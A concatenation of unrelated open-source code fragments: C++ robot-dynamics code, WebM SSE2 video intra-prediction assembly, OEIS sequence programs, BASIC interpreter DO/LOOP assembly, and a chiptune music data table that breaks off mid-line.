MatrixType4> inline void UnconstrDynamics::getStateFeedbackGain( const Eigen::MatrixBase<MatrixType1>& Kaq, const Eigen::MatrixBase<MatrixType2>& Kav, const Eigen::MatrixBase<MatrixType3>& Kuq, const Eigen::MatrixBase<MatrixType4>& Kuv) const { assert(Kaq.rows() == dimv_); assert(Kaq.cols() == dimv_); assert(Kav.rows() == dimv_); assert(Kav.cols() == dimv_); assert(Kuq.rows() == dimv_); assert(Kuq.cols() == dimv_); assert(Kuv.rows() == dimv_); assert(Kuv.cols() == dimv_); const_cast<Eigen::MatrixBase<MatrixType3>&>(Kuq) = dID_dq_; const_cast<Eigen::MatrixBase<MatrixType3>&>(Kuq).noalias() += dID_da_ * Kaq; const_cast<Eigen::MatrixBase<MatrixType4>&>(Kuv) = dID_dv_; const_cast<Eigen::MatrixBase<MatrixType4>&>(Kuv).noalias() += dID_da_ * Kav; } } // namespace idocp #endif // IDOCP_UNCONSTR_DYNAMICS_HXX_
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; %include "x86inc.asm" SECTION_RODATA pb_1: times 16 db 1 pw_4: times 8 dw 4 pw_8: times 8 dw 8 pw_16: times 8 dw 16 pw_32: times 8 dw 32 dc_128: times 16 db 128 pw2_4: times 8 dw 2 pw2_8: times 8 dw 4 pw2_16: times 8 dw 8 pw2_32: times 8 dw 16 SECTION .text ; ------------------------------------------ ; input: x, y, z, result ; ; trick from pascal ; (x+2y+z+2)>>2 can be calculated as: ; result = avg(x,z) ; result -= xor(x,z) & 1 ; result = avg(result,y) ; ------------------------------------------ %macro X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 4 pavgb %4, %1, %3 pxor %3, %1 pand %3, [GLOBAL(pb_1)] psubb %4, %3 pavgb %4, %2 %endmacro INIT_XMM sse2 cglobal d45_predictor_4x4, 3, 4, 4, dst, stride, above, goffset GET_GOT goffsetq movq m0, [aboveq] DEFINE_ARGS dst, stride, temp psrldq m1, m0, 1 psrldq m2, m0, 2 X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 m0, m1, m2, m3 ; store 4 lines movd [dstq ], m3 psrlq m3, 8 movd [dstq+strideq ], m3 lea dstq, [dstq+strideq*2] psrlq m3, 8 movd [dstq ], m3 psrlq m3, 8 movd [dstq+strideq ], m3 psrlq m0, 56 movd tempd, m0 mov [dstq+strideq+3], tempb RESTORE_GOT RET INIT_XMM sse2 cglobal d45_predictor_8x8, 3, 4, 4, dst, stride, above, goffset GET_GOT goffsetq movu m1, [aboveq] pslldq m0, m1, 1 psrldq m2, m1, 1 DEFINE_ARGS dst, stride, stride3 lea stride3q, [strideq*3] X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 m0, m1, m2, m3 punpckhbw m0, m0 ; 7 7 punpcklwd m0, m0 ; 7 7 7 7 punpckldq m0, m0 ; 7 7 7 7 7 7 7 7 punpcklqdq m3, m0 ; -1 0 1 2 3 4 5 6 7 7 7 7 7 7 7 7 ; store 4 lines psrldq m3, 1 movq [dstq ], m3 psrldq m3, 1 movq [dstq+strideq ], m3 psrldq m3, 1 movq [dstq+strideq*2], m3 psrldq m3, 1 movq [dstq+stride3q ], m3 lea dstq, [dstq+strideq*4] ; store next 4 lines psrldq m3, 1 movq [dstq ], m3 psrldq m3, 1 movq [dstq+strideq ], m3 psrldq m3, 1 movq [dstq+strideq*2], m3 psrldq m3, 1 movq [dstq+stride3q ], m3 RESTORE_GOT RET INIT_XMM sse2 cglobal d207_predictor_4x4, 4, 4, 5, dst, stride, unused, left, goffset GET_GOT goffsetq movd m0, [leftq] ; abcd [byte] punpcklbw m4, m0, m0 ; aabb ccdd punpcklwd m4, m4 ; aaaa bbbb cccc dddd psrldq m4, 12 ; dddd punpckldq m0, m4 ; abcd dddd psrldq m1, m0, 1 ; bcdd psrldq m2, m0, 2 ; cddd X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 m0, m1, m2, m3 ; a2bc b2cd c3d d pavgb m1, m0 ; ab, bc, cd, d [byte] punpcklbw m1, m3 ; ab, a2bc, bc, b2cd, cd, c3d, d, d movd [dstq ], m1 psrlq m1, 16 ; bc, b2cd, cd, c3d, d, d movd [dstq+strideq], m1 lea dstq, [dstq+strideq*2] psrlq m1, 16 ; cd, c3d, d, d movd [dstq ], m1 movd [dstq+strideq], m4 ; d, d, d, d RESTORE_GOT RET INIT_XMM sse2 cglobal dc_predictor_4x4, 4, 5, 3, dst, stride, above, left, goffset GET_GOT goffsetq movd m2, [leftq] movd m0, [aboveq] pxor m1, m1 punpckldq m0, m2 psadbw m0, m1 paddw m0, [GLOBAL(pw_4)] psraw m0, 3 pshuflw m0, m0, 0x0 packuswb m0, m0 movd [dstq ], m0 movd [dstq+strideq], m0 lea dstq, [dstq+strideq*2] movd [dstq ], m0 movd [dstq+strideq], m0 RESTORE_GOT RET INIT_XMM sse2 cglobal dc_left_predictor_4x4, 2, 5, 2, dst, stride, above, left, goffset movifnidn leftq, leftmp GET_GOT goffsetq pxor m1, m1 movd m0, [leftq] psadbw m0, m1 paddw m0, [GLOBAL(pw2_4)] psraw m0, 2 pshuflw m0, m0, 0x0 packuswb m0, m0 movd [dstq ], m0 movd [dstq+strideq], m0 lea dstq, [dstq+strideq*2] movd [dstq ], m0 movd [dstq+strideq], m0 RESTORE_GOT RET INIT_XMM sse2 cglobal dc_top_predictor_4x4, 3, 5, 2, dst, stride, above, left, goffset GET_GOT goffsetq pxor m1, m1 movd m0, [aboveq] psadbw m0, m1 paddw m0, [GLOBAL(pw2_4)] psraw m0, 2 pshuflw m0, m0, 0x0 packuswb m0, m0 movd [dstq ], m0 movd [dstq+strideq], m0 lea dstq, [dstq+strideq*2] movd [dstq ], m0 movd [dstq+strideq], m0 RESTORE_GOT RET INIT_XMM sse2 cglobal dc_predictor_8x8, 4, 5, 3, dst, stride, above, left, goffset GET_GOT goffsetq pxor m1, m1 movq m0, [aboveq] movq m2, [leftq] DEFINE_ARGS dst, stride, stride3 lea stride3q, [strideq*3] psadbw m0, m1 psadbw m2, m1 paddw m0, m2 paddw m0, [GLOBAL(pw_8)] psraw m0, 4 punpcklbw m0, m0 pshuflw m0, m0, 0x0 movq [dstq ], m0 movq [dstq+strideq ], m0 movq [dstq+strideq*2], m0 movq [dstq+stride3q ], m0 lea dstq, [dstq+strideq*4] movq [dstq ], m0 movq [dstq+strideq ], m0 movq [dstq+strideq*2], m0 movq [dstq+stride3q ], m0 RESTORE_GOT RET INIT_XMM sse2 cglobal dc_top_predictor_8x8, 3, 5, 2, dst, stride, above, left, goffset GET_GOT goffsetq pxor m1, m1 movq m0, [aboveq] DEFINE_ARGS dst, stride, stride3 lea stride3q, [strideq*3] psadbw m0, m1 paddw m0, [GLOBAL(pw2_8)] psraw m0, 3 punpcklbw m0, m0 pshuflw m0, m0, 0x0 movq [dstq ], m0 movq [dstq+strideq ], m0 movq [dstq+strideq*2], m0 movq [dstq+stride3q ], m0 lea dstq, [dstq+strideq*4] movq [dstq ], m0 movq [dstq+strideq ], m0 movq [dstq+strideq*2], m0 movq [dstq+stride3q ], m0 RESTORE_GOT RET INIT_XMM sse2 cglobal dc_left_predictor_8x8, 2, 5, 2, dst, stride, above, left, goffset movifnidn leftq, leftmp GET_GOT goffsetq pxor m1, m1 movq m0, [leftq] DEFINE_ARGS dst, stride, stride3 lea stride3q, [strideq*3] psadbw m0, m1 paddw m0, [GLOBAL(pw2_8)] psraw m0, 3 punpcklbw m0, m0 pshuflw m0, m0, 0x0 movq [dstq ], m0 movq [dstq+strideq ], m0 movq [dstq+strideq*2], m0 movq [dstq+stride3q ], m0 lea dstq, [dstq+strideq*4] movq [dstq ], m0 movq [dstq+strideq ], m0 movq [dstq+strideq*2], m0 movq [dstq+stride3q ], m0 RESTORE_GOT RET INIT_XMM sse2 cglobal dc_128_predictor_4x4, 2, 5, 1, dst, stride, above, left, goffset GET_GOT goffsetq DEFINE_ARGS dst, stride, stride3 lea stride3q, [strideq*3] movd m0, [GLOBAL(dc_128)] movd [dstq ], m0 movd [dstq+strideq ], m0 movd [dstq+strideq*2], m0 movd [dstq+stride3q ], m0 RESTORE_GOT RET INIT_XMM sse2 cglobal dc_128_predictor_8x8, 2, 5, 1, dst, stride, above, left, goffset GET_GOT goffsetq DEFINE_ARGS dst, stride, stride3 lea stride3q, [strideq*3] movq m0, [GLOBAL(dc_128)] movq [dstq ], m0 movq [dstq+strideq ], m0 movq [dstq+strideq*2], m0 movq [dstq+stride3q ], m0 lea dstq, [dstq+strideq*4] movq [dstq ], m0 movq [dstq+strideq ], m0 movq [dstq+strideq*2], m0 movq [dstq+stride3q ], m0 RESTORE_GOT RET INIT_XMM sse2 cglobal dc_predictor_16x16, 4, 5, 3, dst, stride, above, left, goffset GET_GOT goffsetq pxor m1, m1 movdqu m0, [aboveq] movdqu m2, [leftq] DEFINE_ARGS dst, stride, stride3, lines4 lea stride3q, [strideq*3] mov lines4d, 4 psadbw m0, m1 psadbw m2, m1 paddw m0, m2 movhlps m2, m0 paddw m0, m2 paddw m0, [GLOBAL(pw_16)] psraw m0, 5 pshuflw m0, m0, 0x0 punpcklqdq m0, m0 packuswb m0, m0 .loop: mova [dstq ], m0 mova [dstq+strideq ], m0 mova [dstq+strideq*2], m0 mova [dstq+stride3q ], m0 lea dstq, [dstq+strideq*4] dec lines4d jnz .loop RESTORE_GOT REP_RET INIT_XMM sse2 cglobal dc_top_predictor_16x16, 4, 5, 3, dst, stride, above, left, goffset GET_GOT goffsetq pxor m1, m1 movdqu m0, [aboveq] DEFINE_ARGS dst, stride, stride3, lines4 lea stride3q, [strideq*3] mov lines4d, 4 psadbw m0, m1 movhlps m2, m0 paddw m0, m2 paddw m0, [GLOBAL(pw2_16)] psraw m0, 4 pshuflw m0, m0, 0x0 punpcklqdq m0, m0 packuswb m0, m0 .loop: mova [dstq ], m0 mova [dstq+strideq ], m0 mova [dstq+strideq*2], m0 mova [dstq+stride3q ], m0 lea dstq, [dstq+strideq*4] dec lines4d jnz .loop RESTORE_GOT REP_RET INIT_XMM sse2 cglobal dc_left_predictor_16x16, 4, 5, 3, dst, stride, above, left, goffset GET_GOT goffsetq pxor m1, m1 movdqu m0, [leftq] DEFINE_ARGS dst, stride, stride3, lines4 lea stride3q, [strideq*3] mov lines4d, 4 psadbw m0, m1 movhlps m2, m0 paddw m0, m2 paddw m0, [GLOBAL(pw2_16)] psraw m0, 4 pshuflw m0, m0, 0x0 punpcklqdq m0, m0 packuswb m0, m0 .loop: mova [dstq ], m0 mova [dstq+strideq ], m0 mova [dstq+strideq*2], m0 mova [dstq+stride3q ], m0 lea dstq, [dstq+strideq*4] dec lines4d jnz .loop RESTORE_GOT REP_RET INIT_XMM sse2 cglobal dc_128_predictor_16x16, 4, 5, 3, dst, stride, above, left, goffset GET_GOT goffsetq DEFINE_ARGS dst, stride, stride3, lines4 lea stride3q, [strideq*3] mov lines4d, 4 mova m0, [GLOBAL(dc_128)] .loop: mova [dstq ], m0 mova [dstq+strideq ], m0 mova [dstq+strideq*2], m0 mova [dstq+stride3q ], m0 lea dstq, [dstq+strideq*4] dec lines4d jnz .loop RESTORE_GOT RET INIT_XMM sse2 cglobal dc_predictor_32x32, 4, 5, 5, dst, stride, above, left, goffset GET_GOT goffsetq pxor m1, m1 movdqu m0, [aboveq] movdqu m2, [aboveq+16] movdqu m3, [leftq] movdqu m4, [leftq+16] DEFINE_ARGS dst, stride, stride3, lines4 lea stride3q, [strideq*3] mov lines4d, 8 psadbw m0, m1 psadbw m2, m1 psadbw m3, m1 psadbw m4, m1 paddw m0, m2 paddw m0, m3 paddw m0, m4 movhlps m2, m0 paddw m0, m2 paddw m0, [GLOBAL(pw_32)] psraw m0, 6 pshuflw m0, m0, 0x0 punpcklqdq m0, m0 packuswb m0, m0 .loop: mova [dstq ], m0 mova [dstq +16], m0 mova [dstq+strideq ], m0 mova [dstq+strideq +16], m0 mova [dstq+strideq*2 ], m0 mova [dstq+strideq*2+16], m0 mova [dstq+stride3q ], m0 mova [dstq+stride3q +16], m0 lea dstq, [dstq+strideq*4] dec lines4d jnz .loop RESTORE_GOT REP_RET INIT_XMM sse2 cglobal dc_top_predictor_32x32, 4, 5, 5, dst, stride, above, left, goffset GET_GOT goffsetq pxor m1, m1 movdqu m0, [aboveq] movdqu m2, [aboveq+16] DEFINE_ARGS dst, stride, stride3, lines4 lea stride3q, [strideq*3] mov lines4d, 8 psadbw m0, m1 psadbw m2, m1 paddw m0, m2 movhlps m2, m0 paddw m0, m2 paddw m0, [GLOBAL(pw2_32)] psraw m0, 5 pshuflw m0, m0, 0x0 punpcklqdq m0, m0 packuswb m0, m0 .loop: mova [dstq ], m0 mova [dstq +16], m0 mova [dstq+strideq ], m0 mova [dstq+strideq +16], m0 mova [dstq+strideq*2 ], m0 mova [dstq+strideq*2+16], m0 mova [dstq+stride3q ], m0 mova [dstq+stride3q +16], m0 lea dstq, [dstq+strideq*4] dec lines4d jnz .loop RESTORE_GOT REP_RET INIT_XMM sse2 cglobal dc_left_predictor_32x32, 4, 5, 5, dst, stride, above, left, goffset GET_GOT goffsetq pxor m1, m1 movdqu m0, [leftq] movdqu m2, [leftq+16] DEFINE_ARGS dst, stride, stride3, lines4 lea stride3q, [strideq*3] mov lines4d, 8 psadbw m0, m1 psadbw m2, m1 paddw m0, m2 movhlps m2, m0 paddw m0, m2 paddw m0, [GLOBAL(pw2_32)] psraw m0, 5 pshuflw m0, m0, 0x0 punpcklqdq m0, m0 packuswb m0, m0 .loop: mova [dstq ], m0 mova [dstq +16], m0 mova [dstq+strideq ], m0 mova [dstq+strideq +16], m0 mova [dstq+strideq*2 ], m0 mova [dstq+strideq*2+16], m0 mova [dstq+stride3q ], m0 mova [dstq+stride3q +16], m0 lea dstq, [dstq+strideq*4] dec lines4d jnz .loop RESTORE_GOT REP_RET INIT_XMM sse2 cglobal dc_128_predictor_32x32, 4, 5, 3, dst, stride, above, left, goffset GET_GOT goffsetq DEFINE_ARGS dst, stride, stride3, lines4 lea stride3q, [strideq*3] mov lines4d, 8 mova m0, [GLOBAL(dc_128)] .loop: mova [dstq ], m0 mova [dstq +16], m0 mova [dstq+strideq ], m0 mova [dstq+strideq +16], m0 mova [dstq+strideq*2 ], m0 mova [dstq+strideq*2+16], m0 mova [dstq+stride3q ], m0 mova [dstq+stride3q +16], m0 lea dstq, [dstq+strideq*4] dec lines4d jnz .loop RESTORE_GOT RET INIT_XMM sse2 cglobal v_predictor_4x4, 3, 3, 1, dst, stride, above movd m0, [aboveq] movd [dstq ], m0 movd [dstq+strideq], m0 lea dstq, [dstq+strideq*2] movd [dstq ], m0 movd [dstq+strideq], m0 RET INIT_XMM sse2 cglobal v_predictor_8x8, 3, 3, 1, dst, stride, above movq m0, [aboveq] DEFINE_ARGS dst, stride, stride3 lea stride3q, [strideq*3] movq [dstq ], m0 movq [dstq+strideq ], m0 movq [dstq+strideq*2], m0 movq [dstq+stride3q ], m0 lea dstq, [dstq+strideq*4] movq [dstq ], m0 movq [dstq+strideq ], m0 movq [dstq+strideq*2], m0 movq [dstq+stride3q ], m0 RET INIT_XMM sse2 cglobal v_predictor_16x16, 3, 4, 1, dst, stride, above movdqu m0, [aboveq] DEFINE_ARGS dst, stride, stride3, nlines4 lea stride3q, [strideq*3] mov nlines4d, 4 .loop: mova [dstq ], m0 mova [dstq+strideq ], m0 mova [dstq+strideq*2], m0 mova [dstq+stride3q ], m0 lea dstq, [dstq+strideq*4] dec nlines4d jnz .loop REP_RET INIT_XMM sse2 cglobal v_predictor_32x32, 3, 4, 2, dst, stride, above movdqu m0, [aboveq] movdqu m1, [aboveq+16] DEFINE_ARGS dst, stride, stride3, nlines4 lea stride3q, [strideq*3] mov nlines4d, 8 .loop: mova [dstq ], m0 mova [dstq +16], m1 mova [dstq+strideq ], m0 mova [dstq+strideq +16], m1 mova [dstq+strideq*2 ], m0 mova [dstq+strideq*2+16], m1 mova [dstq+stride3q ], m0 mova [dstq+stride3q +16], m1 lea dstq, [dstq+strideq*4] dec nlines4d jnz .loop REP_RET INIT_XMM sse2 cglobal h_predictor_4x4, 2, 4, 4, dst, stride, line, left movifnidn leftq, leftmp movd m0, [leftq] punpcklbw m0, m0 punpcklbw m0, m0 pshufd m1, m0, 0x1 movd [dstq ], m0 movd [dstq+strideq], m1 pshufd m2, m0, 0x2 lea dstq, [dstq+strideq*2] pshufd m3, m0, 0x3 movd [dstq ], m2 movd [dstq+strideq], m3 RET INIT_XMM sse2 cglobal h_predictor_8x8, 2, 5, 3, dst, stride, line, left movifnidn leftq, leftmp mov lineq, -2 DEFINE_ARGS dst, stride, line, left, stride3 lea stride3q, [strideq*3] movq m0, [leftq ] punpcklbw m0, m0 ; l1 l1 l2 l2 ... l8 l8 .loop: pshuflw m1, m0, 0x0 ; l1 l1 l1 l1 l1 l1 l1 l1 pshuflw m2, m0, 0x55 ; l2 l2 l2 l2 l2 l2 l2 l2 movq [dstq ], m1 movq [dstq+strideq], m2 pshuflw m1, m0, 0xaa pshuflw m2, m0, 0xff movq [dstq+strideq*2], m1 movq [dstq+stride3q ], m2 pshufd m0, m0, 0xe ; [63:0] l5 l5 l6 l6 l7 l7 l8 l8 inc lineq lea dstq, [dstq+strideq*4] jnz .loop REP_RET INIT_XMM sse2 cglobal h_predictor_16x16, 2, 5, 3, dst, stride, line, left movifnidn leftq, leftmp mov lineq, -4 DEFINE_ARGS dst, stride, line, left, stride3 lea stride3q, [strideq*3] .loop: movd m0, [leftq] punpcklbw m0, m0 punpcklbw m0, m0 ; l1 to l4 each repeated 4 times pshufd m1, m0, 0x0 ; l1 repeated 16 times pshufd m2, m0, 0x55 ; l2 repeated 16 times mova [dstq ], m1 mova [dstq+strideq ], m2 pshufd m1, m0, 0xaa pshufd m2, m0, 0xff mova [dstq+strideq*2], m1 mova [dstq+stride3q ], m2 inc lineq lea leftq, [leftq+4 ] lea dstq, [dstq+strideq*4] jnz .loop REP_RET INIT_XMM sse2 cglobal h_predictor_32x32, 2, 5, 3, dst, stride, line, left movifnidn leftq, leftmp mov lineq, -8 DEFINE_ARGS dst, stride, line, left, stride3 lea stride3q, [strideq*3] .loop: movd m0, [leftq] punpcklbw m0, m0 punpcklbw m0, m0 ; l1 to l4 each repeated 4 times pshufd m1, m0, 0x0 ; l1 repeated 16 times pshufd m2, m0, 0x55 ; l2 repeated 16 times mova [dstq ], m1 mova [dstq+16 ], m1 mova [dstq+strideq ], m2 mova [dstq+strideq+16 ], m2 pshufd m1, m0, 0xaa pshufd m2, m0, 0xff mova [dstq+strideq*2 ], m1 mova [dstq+strideq*2+16], m1 mova [dstq+stride3q ], m2 mova [dstq+stride3q+16 ], m2 inc lineq lea leftq, [leftq+4 ] lea dstq, [dstq+strideq*4] jnz .loop REP_RET INIT_XMM sse2 cglobal tm_predictor_4x4, 4, 4, 5, dst, stride, above, left pxor m1, m1 movq m0, [aboveq-1]; [63:0] tl t1 t2 t3 t4 x x x punpcklbw m0, m1 pshuflw m2, m0, 0x0 ; [63:0] tl tl tl tl [word] psrldq m0, 2 psubw m0, m2 ; [63:0] t1-tl t2-tl t3-tl t4-tl [word] movd m2, [leftq] punpcklbw m2, m1 pshuflw m4, m2, 0x0 ; [63:0] l1 l1 l1 l1 [word] pshuflw m3, m2, 0x55 ; [63:0] l2 l2 l2 l2 [word] paddw m4, m0 paddw m3, m0 packuswb m4, m4 packuswb m3, m3 movd [dstq ], m4 movd [dstq+strideq], m3 lea dstq, [dstq+strideq*2] pshuflw m4, m2, 0xaa pshuflw m3, m2, 0xff paddw m4, m0 paddw m3, m0 packuswb m4, m4 packuswb m3, m3 movd [dstq ], m4 movd [dstq+strideq], m3 RET INIT_XMM sse2 cglobal tm_predictor_8x8, 4, 4, 5, dst, stride, above, left pxor m1, m1 movd m2, [aboveq-1] movq m0, [aboveq] punpcklbw m2, m1 punpcklbw m0, m1 ; t1 t2 t3 t4 t5 t6 t7 t8 [word] pshuflw m2, m2, 0x0 ; [63:0] tl tl tl tl [word] DEFINE_ARGS dst, stride, line, left mov lineq, -4 punpcklqdq m2, m2 ; tl tl tl tl tl tl tl tl [word] psubw m0, m2 ; t1-tl t2-tl ... t8-tl [word] movq m2, [leftq] punpcklbw m2, m1 ; l1 l2 l3 l4 l5 l6 l7 l8 [word] .loop: pshuflw m4, m2, 0x0 ; [63:0] l1 l1 l1 l1 [word] pshuflw m3, m2, 0x55 ; [63:0] l2 l2 l2 l2 [word] punpcklqdq m4, m4 ; l1 l1 l1 l1 l1 l1 l1 l1 [word] punpcklqdq m3, m3 ; l2 l2 l2 l2 l2 l2 l2 l2 [word] paddw m4, m0 paddw m3, m0 packuswb m4, m3 movq [dstq ], m4 movhps [dstq+strideq], m4 lea dstq, [dstq+strideq*2] psrldq m2, 4 inc lineq jnz .loop REP_RET INIT_XMM sse2 cglobal tm_predictor_16x16, 4, 5, 8, dst, stride, above, left pxor m1, m1 movdqu m2, [aboveq-16]; movdqu m0, [aboveq] ; t1 t2 ... t16 [byte] punpckhbw m2, m1 ; [127:112] tl [word] punpckhbw m4, m0, m1 punpcklbw m0, m1 ; m0:m4 t1 t2 ... t16 [word] DEFINE_ARGS dst, stride, line, left, stride8 mov lineq, -8 pshufhw m2, m2, 0xff movdqu m3, [leftq] ; l1 l2 ... l16 [byte] punpckhqdq m2, m2 ; tl repeated 8 times [word] psubw m0, m2 psubw m4, m2 ; m0:m4 t1-tl t2-tl ... t16-tl [word] punpckhbw m5, m3, m1 punpcklbw m3, m1 ; m3:m5 l1 l2 ... l16 [word] lea stride8q, [strideq*8] .loop: pshuflw m6, m3, 0x0 pshuflw m7, m5, 0x0 punpcklqdq m6, m6 ; l1 repeated 8 times [word] punpcklqdq m7, m7 ; l8 repeated 8 times [word] paddw m1, m6, m0 paddw m6, m4 ; m1:m6 ti-tl+l1 [i=1,15] [word] psrldq m5, 2 packuswb m1, m6 mova [dstq ], m1 paddw m1, m7, m0 paddw m7, m4 ; m1:m7 ti-tl+l8 [i=1,15] [word] psrldq m3, 2 packuswb m1, m7 mova [dstq+stride8q], m1 inc lineq lea dstq, [dstq+strideq] jnz .loop REP_RET INIT_XMM sse2 cglobal tm_predictor_32x32, 4, 4, 8, dst, stride, above, left pxor m1, m1 movd m2, [aboveq-1] movdqu m0, [aboveq] movdqu m4, [aboveq+16] punpcklbw m2, m1 punpckhbw m3, m0, m1 punpckhbw m5, m4, m1 punpcklbw m0, m1 punpcklbw m4, m1 pshuflw m2, m2, 0x0 DEFINE_ARGS dst, stride, line, left mov lineq, -16 punpcklqdq m2, m2 add leftq, 32 psubw m0, m2 psubw m3, m2 psubw m4, m2 psubw m5, m2 .loop: movd m2, [leftq+lineq*2] pxor m1, m1 punpcklbw m2, m1 pshuflw m7, m2, 0x55 pshuflw m2, m2, 0x0 punpcklqdq m2, m2 punpcklqdq m7, m7 paddw m6, m2, m3 paddw m1, m2, m0 packuswb m1, m6 mova [dstq ], m1 paddw m6, m2, m5 paddw m1, m2, m4 packuswb m1, m6 mova [dstq+16 ], m1 paddw m6, m7, m3 paddw m1, m7, m0 packuswb m1, m6 mova [dstq+strideq ], m1 paddw m6, m7, m5 paddw m1, m7, m4 packuswb m1, m6 mova [dstq+strideq+16], m1 lea dstq, [dstq+strideq*2] inc lineq jnz .loop REP_RET
; A154269: Dirichlet inverse of A019590; Fully multiplicative with a(2^e) = (-1)^e, a(p^e) = 0 for odd primes p. ; 1,-1,0,1,0,0,0,-1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 add $0,1 mov $2,$0 mul $2,8 trn $0,$2 sub $0,$2 add $0,1 mov $1,-2 lpb $0 div $0,2 div $2,$1 lpe sub $2,2 sub $1,$2
; ******************************************************************************************** ; ******************************************************************************************** ; ; Name : loops.asm ; Purpose : .. ; Created : 15th Nov 1991 ; Updated : 4th Jan 2021 ; Authors : Fred Bowen ; ; ******************************************************************************************** ; ******************************************************************************************** do ldy #1 l95_1 lda txtptr,y ; save current pointers for stack entry sta tmptxt,y lda curlin,y sta tmplin,y dey bpl l95_1 jsr chrgot ; look for 'while' or 'until' beq doyes ; unconditional cmp #until_token beq do10 cmp #while_token bne snrjmp ; Here for WHILE jsr frmjmp lda facexp bne doyes ; conditional evaluated true dono jsr chrgot bra fnd010 ; advance to end of block, do rts ; Here for UNTIL do10 jsr frmjmp lda facexp bne dono doyes lda #5 ; 'do' needs 5 bytes on the run-time stack jsr getstk ldy #4 ; ..now stuff those 5 bytes! lda tmptxt+1 sta (tos),y ; (common area) dey lda tmptxt sta (tos),y ; (common area) dey lda tmplin+1 sta (tos),y ; (common area) dey lda tmplin sta (tos),y ; (common area) dey lda #do_token sta (tos),y ; (common area) rts ; Here for EXIT exit jsr popdgo ; pop do entry off stack jsr chrgot beq fnd010 snrjmp +lbra snerr ; Find end of current block fndend jsr chrget fnd010 beq l96_2 ; end of statement cmp #loop_token +lbeq data ; a hit! read to end of statement, rts cmp #'"' ; quote beq l96_1 cmp #do_token bne fndend ; keep looking jsr fndend ; recursivly bra dono ; do a chrgot, go to fnd010 l96_1 jsr un_quote ; look for terminating quote, or end of statement bne fndend ; character after quote wasn't terminator, keep going l96_2 cmp #':' ; end of line or end of stmt? beq fndend ; just stmt, keep going bbr7 runmod,fnderr ; if direct mode, not found error ldy #2 jsr indtxt ; end of text? beq fnderr ; 'fraid so iny ; y=3 jsr indtxt ; update pointers sta curlin iny jsr indtxt sta curlin+1 tya clc adc txtptr sta txtptr bcc fndend inc txtptr+1 bra fndend loop beq popngo ; no conditionals, just do it cmp #while_token beq loop10 cmp #until_token bne snrjmp ; Here for UNTIL jsr frmjmp lda facexp beq popngo ; false, do it again! popdgo lda #do_token ; pop, but don't go jsr search bne poperr ; branch if not found jsr movfnd ldy #5 +lbra rlsstk fnderr lda tmplin ; loop not found error: must make curlin match oldtxt ldx tmplin+1 sta curlin stx curlin+1 ldx #errlnf !text $2c poperr ldx #errlwd ; loop without do +lbra error ; Here for WHILE loop10 jsr frmjmp beq popdgo ; false, exit popngo bsr popdgo ; dey ; lda (fndpnt),y ;restore pointers ; sta txtptr+1 ; dey ; lda (fndpnt),y ; sta txtptr ; dey ; lda (fndpnt),y jsr retpat ; (** 01/18/84 fixes 'loop' to a direct mode 'do') ; lda (fndpnt),y ; sta curlin +lbra do frmjmp jsr chrget +lbra frmevl ;.end ; ******************************************************************************************** ; ; Date Changes ; ==== ======= ; ; ********************************************************************************************
; A132762: a(n) = n*(n + 19). ; 0,20,42,66,92,120,150,182,216,252,290,330,372,416,462,510,560,612,666,722,780,840,902,966,1032,1100,1170,1242,1316,1392,1470,1550,1632,1716,1802,1890,1980,2072,2166,2262,2360,2460,2562,2666,2772,2880,2990,3102,3216 mov $1,$0 add $0,19 mul $0,$1
loop dw oc.00 dw oc.00 dw oc.00 dw oc.00 dw oc.01 dw oc.02 dw oc.03 dw oc.03 dw oc.03 dw oc.03 dw oc.01 dw oc.04 dw oc.05 dw oc.05 dw sq.00 dw sq.01 dw sq.02 dw tr.00 dw tr.00 dw tr.01 dw tr.01 dw tr.02 dw tr.02 dw smp.00 dw smp.01 dw smp.01 dw smp.01 dw smp.01 dw smp.01 dw smp.01 dw smp.02 dw smp.03 dw smp.04 dw smp.04 dw smp.04 dw smp.04 dw smp.04 dw smp.04 dw smp.05 dw smp.06 dw smp.01 dw smp.01 dw smp.01 dw smp.01 dw smp.01 dw smp.01 dw smp.02 dw smp.03 dw smp.07 dw smp.07 dw smp.07 dw smp.07 dw smp.08 dw smp.08 dw smp.09 dw smp.09 dw 0 ;core0,0n: ;speed+flags,(drum.vol),reverb_read,reverb_write,core_select,freq1,duty.vol1,freq2,duty.vol2,2. filter shift ;core0hs ;speed+flags,(drum.vol),0,0,core_select,freq1,smp1,freq2,smp2,freq3,smp3 ;core0S ;speed+flags,(drum.vol),0,0/shift2,core_select,freq1,smp1,freq2,smp2,freq3,smp3 ;--> THEORY: all "shift2" can also be #17cb (rl a) to revert the sra a (ie. switch of lo-pass) <-- ;accupin ;speed+flags,(drum.vol),0,0,accupin0,freq1,freq2,freq2,freq4 ;squeekpin ;speed+flags,(drum.vol),duty1/2,duty3/4,squeekpin0,freq4,freq1,freq2,freq3 ;romNoise ;speed+flags,(drum.vol),startpointer,0,romNoise0 ;tritone ;speed+flags,(drum.vol),duty1/2,duty3+fxEnable,tritone0,freq2,freq3,freq1 ;octode ;speed+flags,(drum.vol),freq1,freq2,octode0,freq3,freq4,freq5,freq6,freq7,freq8 smp.07 dw #0400,0,#0,core0S,#0030,smp8,#0000,smp0,#0800,smp7 dw 